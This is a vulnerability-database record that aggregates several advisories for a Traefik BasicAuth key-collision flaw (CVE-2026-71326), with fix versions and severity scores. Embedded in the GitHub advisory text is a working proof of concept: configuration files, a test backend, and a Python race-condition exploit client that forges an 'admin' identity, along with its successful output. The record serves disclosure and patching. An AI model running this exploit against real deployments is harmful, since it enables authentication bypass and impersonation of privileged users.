{"id":"GHSA-6765-c87h-8mrf","revision":null,"records":[{"revision":"7d3eeb3437e14e2880f6af21e015d81e","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-71326","aliases":[],"title":"Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.6.25 and 3.7.10, Traefik's BasicAuth middleware in pkg/middlewares/auth/basic_auth.go deduplicates concurrent password checks with a singleflight key built from the delimiter-free concatenation of password and secret, allowing an attacker who has a valid credential and the stored hash to authenticate as an unconfigured username when headerField trusts the forwarded identity. This issue is fixed in 3.6.25 and 3.7.10.","state":0,"publishedAt":"2026-08-06T16:34:23.931+00:00","modifiedAt":"2026-08-08T02:12:44.764+00:00","affected":[{"ecosystem":"Vendor product","name":"traefik","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"traefik\",\n                    \"product\": \"traefik\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 3.6.11, < 3.6.25\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 3.7.0, < 3.7.10\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":2.1,"severity":"LOW"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-6765-c87h-8mrf","https://github.com/traefik/traefik/pull/13572","https://github.com/traefik/traefik/commit/b5ace8eb5d6779980567f5e75efd2d9e08b7e350","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-71326","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-71326","identifiers":["CVE-2026-71326"]},"retained":false,"historicalAffected":[]},{"revision":"af9b1ac7e63f48e2969f7b65109f5229","observedAt":"2026-11-11T16:02:19.714+00:00","statement":{"source":"euvd","id":"EUVD-2026-54297","aliases":["CVE-2026-71326","GHSA-6765-c87h-8mrf"],"title":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.6.25 and 3.7.10, Traefik's BasicAuth middleware in pkg/middlewares/auth/basic_auth.go deduplicates concurrent password checks with a singleflight key built …","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.6.25 and 3.7.10, Traefik's BasicAuth middleware in pkg/middlewares/auth/basic_auth.go deduplicates concurrent password checks with a singleflight key built from the delimiter-free concatenation of password and secret, allowing an attacker who has a valid credential and the stored hash to authenticate as an unconfigured username when headerField trusts the forwarded identity. This issue is fixed in 3.6.25 and 3.7.10.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":2.1,"severity":null}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-6765-c87h-8mrf","https://github.com/traefik/traefik/pull/13572","https://github.com/traefik/traefik/commit/b5ace8eb5d6779980567f5e75efd2d9e08b7e350","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-54297","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 6, 2026, 4:34:23 PM","dateUpdated":"Aug 8, 2026, 2:12:44 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-54297","identifiers":["EUVD-2026-54297","CVE-2026-71326","GHSA-6765-c87h-8mrf"]},"retained":false,"historicalAffected":[]},{"revision":"9de27e10f99a4ca89f6babb45c2ee477","observedAt":"2026-10-25T15:18:57.446+00:00","statement":{"source":"nvd","id":"CVE-2026-71326","aliases":[],"title":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.6.25 and 3.7.10, Traefik's BasicAuth middleware in pkg/middlewares/auth/basic_auth.go deduplicates concurrent password checks with a singleflight key built …","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.6.25 and 3.7.10, Traefik's BasicAuth middleware in pkg/middlewares/auth/basic_auth.go deduplicates concurrent password checks with a singleflight key built from the delimiter-free concatenation of password and secret, allowing an attacker who has a valid credential and the stored hash to authenticate as an unconfigured username when headerField trusts the forwarded identity. This issue is fixed in 3.6.25 and 3.7.10.","state":0,"publishedAt":"2026-08-06T22:18:29.65+00:00","modifiedAt":"2026-09-16T20:44:44.453+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":2.1,"severity":"LOW"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N","score":3.8,"severity":"LOW"}],"references":["https://github.com/traefik/traefik/commit/b5ace8eb5d6779980567f5e75efd2d9e08b7e350","https://github.com/traefik/traefik/pull/13572","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10","https://github.com/traefik/traefik/security/advisories/GHSA-6765-c87h-8mrf"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71326","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-287"],"productCriteria":["cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-06T22:18:29.650","lastModified":"2026-09-16T20:44:44.453"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-71326","identifiers":["CVE-2026-71326"]},"retained":false,"historicalAffected":[]},{"revision":"253c99fa01b44e44a301ab27fac5ce80","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-6765-c87h-8mrf","aliases":["CVE-2026-71326","GO-2026-6204"],"title":"Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing","description":"## Summary\n\nThere is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential **and** to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.25\n- https://github.com/traefik/traefik/releases/tag/v3.7.10\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n## Summary\n\nTraefik's BasicAuth middleware deduplicates concurrent password checks with a\n`singleflight.Group`. Its key is the delimiter-free concatenation\n`password + secret`. For an existing user with password `P` and stored hash\n`H`, the key is `P || H`. An unknown user can select the password `P || H`;\nbecause its secret is the empty string, its key is also `P || H`.\n\nIf the existing user's request starts the shared calculation, the unknown\nuser receives the existing user's successful Boolean result. Traefik then\ncontinues processing the unknown user's original request and propagates the\nattacker-selected username through `URL.User`, the access log, and the\nconfigured BasicAuth `headerField`.\n\nA user who knows one valid username/password/hash tuple can therefore\nauthenticate concurrently under any unconfigured username. This becomes a\nprivilege escalation when a backend uses the BasicAuth `headerField` as a\ntrusted identity, which is the documented purpose of that option.\n\n## Details\n\nThe vulnerable logic is in\n`pkg/middlewares/auth/basic_auth.go:118-131`:\n\n```go\nfunc (b *basicAuth) checkPassword(user, password string) bool {\n\tsecret := b.auth.Secrets(user, b.auth.Realm)\n\n\tkey := password + secret\n\tmatch, _, _ := b.singleflightGroup.Do(key, func() (any, error) {\n\t\tif secret == \"\" {\n\t\t\t_ = b.checkSecret(password, b.notFoundSecret)\n\t\t\treturn false, nil\n\t\t}\n\n\t\treturn b.checkSecret(password, secret), nil\n\t})\n\n\treturn match.(bool)\n}\n```\n\nFor a configured user `viewer`:\n\n```text\npassword = P\nsecret   = H\nkey      = P || H\nresult   = true\n```\n\nFor an unconfigured user `admin`:\n\n```text\npassword = P || H\nsecret   = \"\"\nkey      = (P || H) || \"\" = P || H\n```\n\n`singleflight.Group.Do` shares the first in-flight result for equal keys. If\nthe configured user's check is first, the unknown user's closure is not run\nand the unknown request receives `true`.\n\nThe authorization result is not bound to the username. After the shared\nresult is accepted, `ServeHTTP` uses the username parsed from the unknown\nrequest:\n\n```go\nreq.URL.User = url.User(user)\n\nif b.headerField != \"\" {\n\treq.Header.Del(b.headerField)\n\treq.Header[b.headerField] = []string{user}\n}\n```\n\nConsequently, the backend sees the attacker-selected `admin` identity, not\nthe valid request's `viewer` identity.\n\n### Attack prerequisites\n\nThe attacker needs:\n\n1. network access to a route protected by the affected BasicAuth middleware;\n2. one valid low-privilege username and password;\n3. the corresponding stored password hash.\n\nThe hash is often present in deployment labels or routing configuration.\nTraefik's API is also a direct source when the attacker can access it:\n`GET /api/http/middlewares/{id}` serializes `basicAuth.users`, including the\nhash, despite the field carrying `loggable:\"false\"`. The official v3.7.8\nbinary returned the hash in the validation environment.\n\nThe attacker does not need another user's password or a victim-generated\nrequest. The attacker creates both concurrent requests: one with their valid\ncredentials and one with an arbitrary, unconfigured target username.\n\n### Security impact\n\nWhen `headerField` is configured, an authenticated low-privilege user can\nimpersonate an arbitrary identity to the backend. Depending on downstream\nauthorization, this can allow:\n\n- access to administrative data;\n- execution of privileged state-changing operations;\n- corruption of audit attribution;\n- bypass of identity-based tenant or role separation.\n\nWithout `headerField`, the unknown request is still admitted through the\nBasicAuth middleware. The practical consequence then depends on whether the\nprotected route treats all authenticated users equally.\n\n## Proof of Concept\n\n### Validation environment\n\n- Official Traefik v3.7.8 Linux amd64 release.\n- Build timestamp: `2026-07-15T12:42:25Z`.\n- Go version in the release: `go1.26.5`.\n- Archive SHA-256:\n  `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`.\n- The checksum matched the official\n  `traefik_v3.7.8_checksums.txt` release asset.\n- No Traefik source files were modified.\n\n### Dynamic configuration\n\nThe bcrypt hash below is for password `test` and uses cost 12:\n\n```yaml\nhttp:\n  routers:\n    app:\n      entryPoints:\n        - web\n      rule: PathPrefix(`/`)\n      middlewares:\n        - auth\n      service: backend\n\n  middlewares:\n    auth:\n      basicAuth:\n        headerField: X-WebAuth-User\n        removeHeader: true\n        users:\n          - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'\n\n  services:\n    backend:\n      loadBalancer:\n        servers:\n          - url: http://127.0.0.1:19090\n```\n\nSave it as `dynamic.yml`. Use this install configuration as `static.yml`:\n\n```yaml\nglobal:\n  checkNewVersion: false\n  sendAnonymousUsage: false\n\napi:\n  insecure: true\n\nentryPoints:\n  web:\n    address: 127.0.0.1:18080\n\nproviders:\n  file:\n    filename: /absolute/path/to/dynamic.yml\n    watch: false\n```\n\nThe API is enabled only to demonstrate that the runtime representation\nexposes the configured hash. It is not needed if the tester already knows the\nhash from the configuration.\n\nUse this backend as `backend.py`; it responds with the identity Traefik puts\nin the trusted header:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = (self.headers.get(\"X-WebAuth-User\", \"\") + \"\\n\").encode()\n        self.send_response(200)\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, *args):\n        pass\n\n\nThreadingHTTPServer((\"127.0.0.1\", 19090), Handler).serve_forever()\n```\n\nStart the backend and Traefik in separate shells.\n\nShell 1:\n\n```bash\npython3 backend.py\n```\n\nShell 2:\n\n```bash\n./traefik --configFile=/absolute/path/to/static.yml\n```\n\n### Exploit client\n\n```python\nimport base64\nimport http.client\nimport json\nimport threading\nimport time\nimport urllib.request\n\nHOST = \"127.0.0.1\"\nPORT = 18080\nPASSWORD = \"test\"\nHASH = \"$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.\"\n\n\ndef request(user, password):\n    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)\n    token = base64.b64encode(f\"{user}:{password}\".encode()).decode()\n    conn.request(\"GET\", \"/\", headers={\"Authorization\": f\"Basic {token}\"})\n    response = conn.getresponse()\n    body = response.read().decode().strip()\n    status = response.status\n    conn.close()\n    return status, body\n\n\nmiddleware = json.load(\n    urllib.request.urlopen(\n        \"http://127.0.0.1:8080/api/http/middlewares/auth%40file\"\n    )\n)\nprint(\"api_users\", middleware[\"basicAuth\"][\"users\"])\nprint(\"valid_baseline\", request(\"viewer\", PASSWORD))\nprint(\"attacker_baseline\", request(\"admin\", PASSWORD + HASH))\n\nwins = 0\nfor _ in range(25):\n    valid_result = {}\n    valid = threading.Thread(\n        target=lambda: valid_result.setdefault(\n            \"result\", request(\"viewer\", PASSWORD)\n        )\n    )\n    valid.start()\n    time.sleep(0.005)\n    attack = request(\"admin\", PASSWORD + HASH)\n    valid.join()\n    if attack == (200, \"admin\"):\n        wins += 1\n\nprint(\"forged_admin_successes\", wins, \"of\", 25)\n```\n\n### Observed output\n\n```text\napi_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.']\nvalid_baseline (200, 'viewer')\nattacker_baseline (401, '401 Unauthorized')\nforged_admin_successes 25 of 25\n```\n\nThe negative control proves that `admin` is not configured and cannot\nauthenticate alone. During the collision, all 25 requests were admitted and\nthe backend received the forged identity `admin`.\n\nThe same behavior was first reproduced with Apache MD5. Its much shorter hash\ncalculation window yielded 2 successful identity forgeries in 100 attempts.\nUsing normal production-strength bcrypt made the race deterministic in this\nenvironment because the expensive comparison remains in flight long enough\nfor the second request to join it.\n\n## Impact\n\nAn attacker with read access to a configured password hash and the ability to\nsend concurrent requests can authenticate as an unconfigured username. When\n`headerField` is enabled, the attacker-selected username is forwarded to the\nbackend as a trusted authenticated identity, enabling privilege impersonation,\nunauthorized data access, unauthorized actions, and incorrect security audit\nattribution. Without `headerField`, the request still bypasses BasicAuth and\nreaches the protected service.\n\n\n</details>\n\n---","state":0,"publishedAt":"2026-08-06T16:34:38+00:00","modifiedAt":"2026-08-18T15:10:47.2407008+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.6.11"},{"kind":"fixed","version":"3.6.25"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.7.0"},{"kind":"fixed","version":"3.7.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-6765-c87h-8mrf","https://github.com/traefik/traefik/pull/13572","https://github.com/traefik/traefik/commit/b5ace8eb5d6779980567f5e75efd2d9e08b7e350","https://github.com/traefik/traefik","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10"],"sourceUrl":"https://github.com/advisories/GHSA-6765-c87h-8mrf","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6765-c87h-8mrf","identifiers":["GHSA-6765-c87h-8mrf","CVE-2026-71326","GO-2026-6204"]},"retained":false,"historicalAffected":[]},{"revision":"8fe817cd078c4055978e479bd8d6eb37","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6204","aliases":["CVE-2026-71326","GHSA-6765-c87h-8mrf"],"title":"Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing in github.com/traefik/traefik","description":"Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing in github.com/traefik/traefik","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-08-18T15:00:14.3656185+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.6.11"},{"kind":"fixed","version":"3.6.25"},{"kind":"introduced","version":"3.7.0"},{"kind":"fixed","version":"3.7.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-6765-c87h-8mrf","https://github.com/traefik/traefik/commit/b5ace8eb5d6779980567f5e75efd2d9e08b7e350","https://github.com/traefik/traefik/pull/13572","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6204","license":"OSV · upstream source license applies","key":"osv:GO-2026-6204","identifiers":["GO-2026-6204","CVE-2026-71326","GHSA-6765-c87h-8mrf"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T08:59:16.5074834+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T08:59:16.5074834+00:00","lastSuccessAt":"2026-11-13T08:59:16.6643363+00:00","error":null,"lastVerifiedAt":"2026-11-13T08:59:16.6643378+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-23004f1732ee09d4b7d7d058d031f0441ef1ac3e83f2e59dc9c37d52d9a84504","complete":true,"records":424996,"lastAttemptAt":"2026-11-13T08:57:31.8843582+00:00","lastSuccessAt":"2026-11-13T08:57:31.8110296+00:00","error":null,"lastVerifiedAt":"2026-11-13T08:57:31.8843582+00:00","snapshotPublishedAt":"2026-11-13T08:30:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-36f6fcedbbb04aad84f107183cbc0078","complete":false,"records":13793,"lastAttemptAt":"2026-11-13T09:08:55.424249+00:00","lastSuccessAt":"2026-11-13T09:08:55.413+00:00","error":"543 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-13T09:08:55.413+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13303,"expectedIdentifiers":13846,"failedIdentifiers":543},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T08:59:16.5074834+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T08:59:16.5074834+00:00","lastSuccessAt":"2026-11-13T08:59:16.8159295+00:00","error":null,"lastVerifiedAt":"2026-11-13T08:59:16.8159309+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2f453070477b44019a1e115c9cb19079","complete":true,"records":13793,"lastAttemptAt":"2026-11-13T08:59:17.3904006+00:00","lastSuccessAt":"2026-11-13T08:11:55.131+00:00","error":null,"lastVerifiedAt":"2026-11-13T08:11:55.131+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13846,"expectedIdentifiers":13846,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T08:59:16.4483484+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T08:59:16.4483484+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T08:57:31.9448442+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T08:57:31.9448442+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-20d1a8ab073a1c13ab2143dbcadb34ebb8edf1e18e16482b448513662c3d1e12","complete":true,"records":3127,"lastAttemptAt":"2026-11-13T08:59:16.4617983+00:00","lastSuccessAt":"2026-11-12T22:18:31.0338213+00:00","error":null,"lastVerifiedAt":"2026-11-13T08:59:16.4617983+00:00","snapshotPublishedAt":"2026-11-12T22:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-24050939c62dd3b6b6239735dfea28a7170f2b40b5de29359847ee068e1ec8ff","complete":true,"records":231770,"lastAttemptAt":"2026-11-13T08:59:16.318098+00:00","lastSuccessAt":"2026-11-13T08:59:14.8600113+00:00","error":null,"lastVerifiedAt":"2026-11-13T08:59:16.318098+00:00","snapshotPublishedAt":"2026-11-13T08:32:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}